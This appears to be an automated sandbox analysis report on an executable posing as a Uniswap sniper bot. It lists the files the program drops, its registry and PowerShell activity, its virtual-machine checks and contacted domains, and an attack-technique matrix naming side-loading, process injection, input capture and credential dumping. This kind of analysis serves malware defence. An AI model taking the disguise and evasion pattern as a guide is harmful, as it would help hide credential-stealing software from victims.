Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\vk_swiftshader.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\libGLESv2.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\_bz2.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\Lib\site-packages\charset_normalizer\md.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\_ssl.pyd	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6416	Thread sleep count: 3033 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6948	Thread sleep count: 1004 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4824	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2132	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2132	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	File Volume queried: C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui\Code Cache\wasm FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	File Volume queried: C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui\Code Cache\js FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	File Volume queried: C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui\blob_storage\e9da6f7f-3c69-4200-bf22-e5f4e322bed4 FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	File Volume queried: C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui\Cache\Cache_Data FullSizeInformation
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	File Volume queried: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui FullSizeInformation
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	File Volume queried: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui FullSizeInformation
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	File Volume queried: C:\Users\user FullSizeInformation

Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7C19000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: VMware Virtual Webcam
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Adreno (TM) 418Adreno (TM) 530Adreno (TM) 540GL_EXT_texture_lod_biasARB_draw_buffersGL_ARB_texture_swizzleGL_EXT_texture_swizzleGL_ARB_shader_bit_encodingGL_ARB_shading_language_packingGL_ARB_explicit_attrib_locationGL_ARB_explicit_uniform_locationGL_ARB_texture_gatherGL_ARB_texture_cube_map_arrayGL_ARB_pixel_buffer_objectGL_EXT_pixel_buffer_objectGL_EXT_draw_buffers2GL_ARB_fragment_shaderGL_ARB_shader_texture_lodGL_ARB_shader_viewport_layer_arrayGL_NV_viewport_array2GL_NV_texture_border_clampGL_ARB_robust_buffer_access_behaviorGL_EXT_framebuffer_sRGBGL_ARB_framebuffer_sRGBGL_ARB_gpu_shader5functions->standard == STANDARD_GL_DESKTOP && isAMDfunctions->standard == STANDARD_GL_DESKTOP && isIntelisIntel && !IsSandyBridge(device) && !IsIvyBridge(device) && !IsHaswell(device)IsApple() && isIntelisIntel && IsApple() && IsSkylake(device) && GetMacOSVersion() < OSVersion(10, 13, 2)isIntel \|\| isAMDIsLinux() && functions->standard == STANDARD_GL_DESKTOP && isAMD(IsApple() && functions->standard == STANDARD_GL_DESKTOP) \|\| (IsLinux() && isAMD)IsApple() && functions->standard == STANDARD_GL_DESKTOP && GetMacOSVersion() < OSVersion(10, 11, 0)IsApple() && isIntel && GetMacOSVersion() < OSVersion(10, 12, 0)IsApple() && isAMDIsAndroid() && isQualcommfunctions->standard == STANDARD_GL_DESKTOP && isNvidiaIsApple() \|\| isNvidiafunctions->isAtMostGL(gl::Version(4, 1)) \|\| (functions->standard == STANDARD_GL_DESKTOP && isAMD)isAMD \|\| IsAndroid()IsAndroid() \|\| isNvidia(IsAndroid() && isQualcomm) \|\| (isIntel && IsApple())isAMD \|\| isIntelIsNexus5X(vendor, device)IsAndroid() \|\| (IsWindows() && isIntel)(IsWindows() && (isIntel \|\| isAMD)) \|\| (IsLinux() && isNvidia) \|\| IsIOS() \|\| IsAndroid() \|\| IsAndroidEmulator(functions)IsAndroid() \|\| limitMaxTextureSizeIsAndroid() \|\| (IsApple() && (isIntel \|\| isAMD \|\| isNvidia))limitMaxTextureSizeIsApple()IsAndroid() \|\| isAMD \|\| !functions->hasExtension("GL_KHR_robust_buffer_access_behavior")IsApple() && isIntel && GetMacOSVersion() >= OSVersion(10, 12, 4)IsApple() && isIntel && GetMacOSVersion() < OSVersion(10, 12, 6)IsLinux() \|\| (IsAndroid() && isNvidia) \|\| (IsWindows() && isNvidia) \|\| (IsApple() && functions->standard == STANDARD_GL_ES)IsApple() \|\| (IsLinux() && isAMD)functions->standard == STANDARD_GL_DESKTOP && functions->isAtLeastGL(gl::Version(3, 1)) && !functions->isAtLeastGL(gl::Version(4, 3))features->emulatePrimitiveRestartFixedIndex.enabled && IsApple() && isIntelIsApple() \|\| IsAndroid() \|\| IsWindows()!isIntel && functions->standard == STANDARD_GL_ES && functions->isAtLeastGLES(gl::Version(3, 1)) && functions->hasGLESExtension("GL_EXT_texture_norm16")IsWindows() && isAMDIsLinux() && isAMD && isMesa && mesaVersion < (std::array<int, 3>{19, 3, 5})(IsLinux() && isVMWare) \|\| (IsAndroid() && isNvidia) \|\| (IsAndroid() && GetAndroidSdkLevel() < 27 && IsAdreno5xxOrOlder(functions)) \|\| (IsAndroid() && IsMaliT8xxOrOlder(functions)) \|\| (IsAndroid() && IsMaliG31OrOlder(functions))IsApple() && functions->standard == STANDARD_GL_ES && !(isAMD
Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7338000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: VMware Fusion 4 has corrupt rendering with Win Vista+
Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7C19000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: VMnet
Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7338000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: VMware, Inc.
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2356191177.0000000004F2D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmncVMware Screen Codec / VMware Videovp5On2 VP5vp6On2 VP6vp6fOn2 VP6 (Flash version)targaTruevision Targa imageimage/x-targaimage/x-tga"
Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7C19000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: Access-Control-Allow-Credentials: trueNet.RedirectChainLengthurl_chainload_state_paramdelegate_blocked_byhas_uploadis_pendingDelegateNet.URLRequest.ReferrerPolicyForRequest.SameOriginNet.URLRequest.ReferrerHasInformativePath.SameOriginNet.URLRequest.ReferrerPolicyForRequest.CrossOriginNet.URLRequest.ReferrerHasInformativePath.CrossOrigin../../net/url_request/url_request_job.ccOnDonenum_failuresrelease_after_msThrottling.RequestThrottled../../net/base/network_interfaces_win.ccWlanApiwlanapi.dllWlanQueryInterfaceWlanSetInterfaceVMnetGetAdaptersAddresses failed: x
Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7338000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: VMware Inc.
Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7C19000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: eb1a:2860eb1a:28201ce6:282012ab:03801943:22530c45:64d00c45:64d21bcf:298504ca:704704ca:704804f2:b3ed04f2:b3ca05c8:035d05c8:036904ca:709513d3:52570bda:57f20fd9:0066VMware Virtual WebcamMedia.VideoCapture.BlacklistedDeviceGoogle Camera AdapterIP Camera [JPEG/MJPEG]CyberLink Webcam SplitterEpocCam../../media/capture/video/video_capture_metrics.ccDevice supports Media.VideoCapture.Device.SupportedPixelFormatMedia.VideoCapture.Device.SupportedResolution
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: (IsLinux() && isVMWare) \|\| (IsAndroid() && isNvidia) \|\| (IsAndroid() && GetAndroidSdkLevel() < 27 && IsAdreno5xxOrOlder(functions)) \|\| (IsAndroid() && IsMaliT8xxOrOlder(functions)) \|\| (IsAndroid() && IsMaliG31OrOlder(functions))
Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7338000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: Gearway Electronics (Dong Guan) Co., Ltd.VMware Inc.Olimex Ltd.
Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7338000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: Qemu Audio Device
Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: lgnW2/4/PEZB31jiVg88O8EckzXZOFKs7sjsLjBOlDW0JB9LeGna8gI4zJVSk/BwJVmcIGfE
Source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2356191177.0000000004F2D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Screen Codec / VMware Video
Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7338000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: VMware can crash with older drivers and WebGL content

Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7338000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: ../../electron/shell/browser/ui/views/electron_views_delegate_win.ccGetAppbarAutohideEdgesShell_TrayWnd
Source: uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: ?@../../third_party/webrtc/modules/desktop_capture/win/cursor.ccCreateMouseCursorFromHCursorUnable to get cursor icon info. Error = Unable to get bitmap info. Error = Unable to get bitmap bits. Error = DwmIsCompositionEnabledDwmGetWindowAttribute../../third_party/webrtc/modules/desktop_capture/win/window_capture_utils.ccFail to create instance of VirtualDesktopManagerChrome_WidgetWin_Progman

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 DLL Side-Loading	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Data from Local System	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 Windows Service	1 Windows Service	11 Masquerading	121 Input Capture	24 System Information Discovery	Remote Desktop Protocol	121 Input Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	1 Registry Run Keys / Startup Folder	12 Process Injection	21 Virtualization/Sandbox Evasion	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	12 Process Injection	NTDS	1 Security Software Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	3 Process Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Source	Detection	Scanner
C:\Users\user\.pyp\DLLs\_asyncio.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\_bz2.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\_decimal.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\_elementtree.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\_lzma.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\_msi.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\_overlapped.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\_queue.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\_socket.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\_ssl.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\_uuid.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\_zoneinfo.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\libffi-8.dll	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\libssl-1_1.dll	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\pyexpat.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\select.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\sqlite3.dll	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\.pyp\DLLs\winsound.pyd	0%	ReversingLabs
C:\Users\user\.pyp\Lib\abc.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\aifc.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\argparse.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\ast.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asynchat.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\__init__.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\__main__.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\base_events.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\base_futures.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\base_subprocess.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\base_tasks.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\events.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\exceptions.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\format_helpers.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\futures.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\locks.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\log.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\mixins.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\proactor_events.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\protocols.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\queues.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\runners.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\selector_events.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\sslproto.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\staggered.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\streams.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\subprocess.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\taskgroups.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\tasks.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\threads.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\timeouts.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\transports.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\trsock.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\unix_events.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\windows_events.py	0%	ReversingLabs
C:\Users\user\.pyp\Lib\asyncio\windows_utils.py	0%	ReversingLabs

Source	Detection	Scanner	Label
http://crbug.com/510270	0%	Avira URL Cloud	safe
https://eth.wiki/json-rpc/API#net_peercount	0%	Avira URL Cloud	safe
https://docs.soliditylang.org/en/latest/abi-spec.html#errors	0%	Avira URL Cloud	safe
https://eth.wiki/json-rpc/API#net_version	0%	Avira URL Cloud	safe
https://myshop.amplify.com/cart/?$	0%	Avira URL Cloud	safe
https://crbug.com/1300575	0%	Avira URL Cloud	safe
http://crbug.com/110263	0%	Avira URL Cloud	safe
https://crbug.com/593024	0%	Avira URL Cloud	safe
http://anglebug.com/4722forceRobustResourceInitForce-enable	0%	Avira URL Cloud	safe
https://wiki.squid-cache.org/SquidFaq/InnerWorkings#What_is_a_half-closed_filedescriptor.3F	0%	Avira URL Cloud	safe
https://crbug.com/710443	0%	Avira URL Cloud	safe
https://mths.be/utf8js	0%	Avira URL Cloud	safe
http://anglebug.com/5658GPU.ANGLE.DisplayInitializeMSFrontend	0%	Avira URL Cloud	safe
https://www.buybuybaby.com/store/cart/?$	0%	Avira URL Cloud	safe
https://ethdocs.org/en/latest/ether.html	0%	Avira URL Cloud	safe
https://crbug.com/1060012	0%	Avira URL Cloud	safe
http://anglebug.com/5750enableCompressingPipelineCacheInThreadPoolEnable	0%	Avira URL Cloud	safe
http://anglebug.com/1452	0%	Avira URL Cloud	safe
http://crbug.com/642605	0%	Avira URL Cloud	safe
http://www.cs.ru.nl/~sjakie/	0%	Avira URL Cloud	safe
http://hyperelliptic.org/tanja	0%	Avira URL Cloud	safe
http://crbug.com/275944	0%	Avira URL Cloud	safe
https://secure.houseofbeautyworld.com/(	0%	Avira URL Cloud	safe
http://pajhome.org.uk/crypt/md5	0%	Avira URL Cloud	safe
http://cr.yp.to/djb.html	0%	Avira URL Cloud	safe
http://materializecss.com)	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
dualstack.python.map.fastly.net	151.101.0.223	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
ip-api.com	208.95.112.1	true	false	high
pypi.org	151.101.128.223	true	false	high
www.python.org	unknown	unknown	false	high

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/node-modules/urlencode	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	false		high
https://url.spec.whatwg.org/#concept-url-origin	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp, Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crbug.com/941620allow_translate_uniform_block_to_structured_bufferThere	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/web3/web3.js/issues/6187	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false		high
https://crbug.com/650547call_clear_twiceUsing	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/browserify/node-util	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.sweetwater.com/store/cart.php/?$	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/maiavictor/xhr-request-promise#readme	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false		high
https://eth.wiki/json-rpc/API#net_peercount	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://eth.wiki/json-rpc/API#net_version	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/4633	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.groupon.com/(checkout/)?cart/?$	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crbug.com/510270	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/unshiftio/ultron	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.harborfreight.com/checkout/cart/?$	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.soliditylang.org/en/latest/abi-spec.html#errors	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.wayfair.com/(	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://myshop.amplify.com/cart/?$	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/ChainSafe/web3.js/blob/8783f4d64e424456bdc53b34ef1142d0a7cee4d7/packages/web3-eth	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false		high
https://goo.gl/t5IS6M).	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282244557.0000000005920000.00000004.00001000.00020000.00000000.sdmp, Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	false		high
http://crbug.com/110263	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/joshstevens19/ethereum-bloom-filters/blob/fbeb47b70b46243c3963fe1c2988d7461ef1723	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false		high
http://anglebug.com/4722forceRobustResourceInitForce-enable	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/6929	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://wiki.squid-cache.org/SquidFaq/InnerWorkings#What_is_a_half-closed_filedescriptor.3F	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/ethereum/execution-apis/blob/main/src/eth/execute.yaml	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2282860707.0000000006320000.00000004.00001000.00020000.00000000.sdmp	false		high
https://crbug.com/593024select_view_in_geometry_shaderThe	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/nodejs/node/pull/21313	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	false		high
https://crbug.com/593024	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.squid-cache.org/Doc/config/half_closed_clients/	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349630212.0000000006120000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000007.00000000.2443020695.00007FF6A7FF5000.00000002.00000001.01000000.0000000D.sdmp	false		high
https://store.steampowered.com/cart/?$	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.kohls.com/checkout/shopping_cart.jsp$	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.nordstrom.com/shopping-bag/?$	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.zennioptical.com/shoppingCart/?$	Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2281977249.0000000005120000.00000004.00001000.00020000.00000000.sdmp	false		high
